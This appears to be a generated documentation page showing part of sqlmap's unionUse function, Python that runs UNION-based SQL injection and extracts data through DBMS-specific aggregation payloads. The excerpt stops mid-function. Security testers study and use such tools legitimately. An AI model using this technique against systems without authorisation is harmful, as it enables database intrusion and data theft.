Function unionUse

lib/techniques/union/use.py:239–466

This function tests for an UNION SQL injection on the target URL then call its subsidiary function to effectively perform an UNION SQL injection on the affected URL

(expression, unpack=True, dump=False)

    _configUnionCols(conf.uCols or columns)

def unionUse(expression, unpack=True, dump=False):
    """
    This function tests for an UNION SQL injection on the target
    URL then call its subsidiary function to effectively perform an
    UNION SQL injection on the affected URL
    """

    initTechnique(PAYLOAD.TECHNIQUE.UNION)

    abortedFlag = False
    count = None
    origExpr = expression
    startLimit = 0
    stopLimit = None
    value = None

    width = getConsoleWidth()
    start = time.time()

    _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(origExpr)

    # Set kb.partRun in case the engine is called from the API
    kb.partRun = getPartRun(alias=False) if conf.api else None

    if expressionFieldsList and len(expressionFieldsList) > 1 and "ORDER BY" in expression.upper():
        # Removed ORDER BY clause because UNION does not play well with it
        expression = re.sub(r"(?i)\s*ORDER BY\s+[\w,]+", "", expression)
        debugMsg = "stripping ORDER BY clause from statement because "
        debugMsg += "it does not play well with UNION query SQL injection"
        singleTimeDebugMessage(debugMsg)

    if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ORACLE, DBMS.PGSQL, DBMS.MSSQL, DBMS.SQLITE) and expressionFields and not any((conf.binaryFields, conf.limitStart, conf.limitStop, conf.forcePartial, conf.disableJson)):
        match = re.search(r"SELECT\s*(.+?)\bFROM", expression, re.I)
        if match and not (Backend.isDbms(DBMS.ORACLE) and FROM_DUMMY_TABLE[DBMS.ORACLE] in expression) and not re.search(r"\b(MIN|MAX|COUNT|EXISTS)\(", expression):
            kb.jsonAggMode = True
            if Backend.isDbms(DBMS.MYSQL):
                query = expression.replace(expressionFields, "CONCAT('%s',JSON_ARRAYAGG(CONCAT_WS('%s',%s)),'%s')" % (kb.chars.start, kb.chars.delimiter, ','.join(agent.nullAndCastField(field) for field in expressionFieldsList), kb.chars.stop), 1)
            elif Backend.isDbms(DBMS.ORACLE):
                query = expression.replace(expressionFields, "'%s'||JSON_ARRAYAGG(%s)||'%s'" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join(expressionFieldsList), kb.chars.stop), 1)
            elif Backend.isDbms(DBMS.SQLITE):
                query = expression.replace(expressionFields, "'%s'||JSON_GROUP_ARRAY(%s)||'%s'" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join("COALESCE(%s,' ')" % field for field in expressionFieldsList), kb.chars.stop), 1)
            elif Backend.isDbms(DBMS.PGSQL):    # Note: ARRAY_AGG does CSV alike output, thus enclosing start/end inside each item
                query = expression.replace(expressionFields, "ARRAY_AGG('%s'||%s||'%s')::text" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join("COALESCE(%s::text,' ')" % field for field in expressionFieldsList), kb.chars.stop), 1)
            elif Backend.isDbms(DBMS.MSSQL):
                query = "'%s'+(%s FOR JSON AUTO, INCLUDE_NULL_VALUES)+'%s'" % (kb.chars.start, expression, kb.chars.stop)
            output = _oneShotUnionUse(query, False)
            value = parseUnionPage(output)
            kb.jsonAggMode = False

    # We have to check if the SQL query might return multiple entries
    # if the technique is partial UNION query and in such case forge the
    # SQL limiting the query output one entry at a time
    # NOTE: we assume that only queries that get data from a table can
    # return multiple entries
    if value is None and (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or kb.forcePartialUnion or conf.forcePartial or (dump and (conf.limitStart or conf.limitStop)) or "LIMIT " in expression.upper()) and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and not re.search(SQL_SCALAR_REGEX, expression, re.I):
        expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump)

        if limitCond: